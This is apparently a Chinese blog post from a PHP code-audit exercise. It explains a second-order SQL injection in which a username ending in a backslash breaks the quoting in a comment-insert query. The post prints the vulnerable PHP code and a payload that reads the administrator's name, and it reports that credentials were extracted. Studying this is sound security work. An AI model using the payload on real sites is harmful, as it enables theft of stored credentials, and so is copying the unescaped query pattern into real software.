审计8 截断注入

 1 <?php
 2 include_once('sys/config.php');
 3 
 4 if (isset($_POST['submit']) && !empty($_POST['message']) && isset($_SESSION['username'])) {
 5 
 6     $clean_message = clean_input($_POST['message']);
 7 
 8     
 9     $query = "INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('{$_SESSION['username']}','$clean_message',now())";
10 
11     mysql_query($query, $conn) or die(mysql_error());
12     mysql_close($conn);
13     header('Location: message.php');
14 }
15 else {
16     echo "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1>
17         <p>The requested URL ".$_SERVER['PHP_SELF']." was not found on this server.</p></body></html>";
18 }
19 ?>

在留言页面 ../messageSub.php  发现在注册时发现第9行,往数据库插入语句时,将留言经过 clean_input($_POST['message'])函数进行了处理。

查看clean_input()函数:

1 function clean_input( $dirty ) {
2     return mysql_real_escape_string( stripslashes( $dirty ) );
3 }
stripslashes()删除反斜杠
mysql_real_escape_string()对 \x00  \n \r \ ' " 进行转义
然后观察sql语句:
"INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('{$_SESSION['username']}','$clean_message',now())";
在获取username的时候是否可以将闭合的单引号转义
INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('test\','$clean_message',now())
红色部分将变成username的内容,因为\转义的单引号,是其闭合失败,在$clean_message的开始单引号,与其闭合。
$clean_message就可以随意构造攻击语句:
,(select admin_name from admin limit 0,1),1);#
$clean_message=,(select admin_name from admin limit 0,1),1);#   构造$clean_message 注释掉后面的sql语句,将查询到管理员的用户名
现在只需要构造姓名,让其出现\注释掉单引号即可。
然后注册用户名为 test\
sql语句为:

很明显进行了转义 \能对单引号转义。但是\\就失去了作用。

 

进入数据库发现,入库后竟然成了一个反斜杠。

 1 <?php
 2 include_once('../sys/config.php');
 3 
 4 if (isset($_POST['submit']) && !empty($_POST['user']) && !empty($_POST['pass'])) {
 5     $clean_name = clean_input($_POST['user']);
 6     $clean_pass = clean_input($_POST['pass']);
 7     $query = "SELECT * FROM users WHERE user_name = '$clean_name' AND user_pass = SHA('$clean_pass')";
 8     $data = mysql_query($query, $conn) or die('Error!!');
 9 
10     if (mysql_num_rows($data) == 1) {
11         $row = mysql_fetch_array($data);
12         $_SESSION['username'] = $row['user_name'];
13         $_SESSION['avatar'] = $row['user_avatar'];
14         $ip = sqlwaf(get_client_ip());
15         $query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'";
16         mysql_query($query, $conn) or die("updata error!");
17         header('Location: user.php');
18         }
19     else {
20         $_SESSION['error_info'] = '用户名或密码错误';
21         header('Location: login.php');
22     }
23     mysql_close($conn);
24 }
25 else {
26     not_find($_SERVER['PHP_SELF']);
27 }
28 ?>

在登陆页面发现重新获取了username变量。

登陆后发现报错。

发现用户名成功注释了单引号,导致页面错误。

进入留言页面,将payload输入,留言

成功将账号密码读了出来!

 

 

 

 

 

 

 




 



posted @ 2017-08-17 21:50  Screw  阅读(379)  评论(0编辑  收藏  举报